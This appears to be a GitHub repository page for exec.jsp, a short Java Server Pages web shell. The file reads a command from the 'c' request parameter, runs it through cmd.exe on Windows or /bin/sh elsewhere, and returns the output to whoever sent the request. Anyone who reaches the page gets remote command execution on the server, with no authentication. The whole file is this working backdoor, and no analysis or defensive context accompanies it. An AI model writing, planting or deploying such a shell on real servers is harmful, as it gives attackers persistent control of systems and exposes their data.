-
Notifications
You must be signed in to change notification settings - Fork 40
/
Copy pathexec.jsp
39 lines (39 loc) · 1.12 KB
/
exec.jsp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<%@ page import="java.io.*" %>
<%@ page import="java.lang.System" %>
<%@ page import="java.lang.Process" %>
<%@page import="java.io.BufferedReader"%>
<%@page import="java.io.InputStreamReader"%>
<%@page language="java" import="java.util.*" pageEncoding="UTF-8"%>
<%!
String Execute(String cmd){
StringBuffer sb=new StringBuffer("");
try{
Process child;
if(System.getProperty("os.name").toLowerCase().startsWith("win")){
child = Runtime.getRuntime().exec(new String[]{"cmd.exe","/c",cmd});
}else{
child = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",cmd});
}
BufferedReader br = new BufferedReader(new InputStreamReader(child.getInputStream()));
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
try {
child.waitFor();
} catch (InterruptedException e) {
e.printStackTrace();
}
} catch (IOException e) {
System.err.println(e);
}
return sb.toString();
}
%>
<%
String cmd = request.getParameter("c"); //cmd
//do execute cmd
if(cmd != null){
out.print(Execute(cmd));
}
%>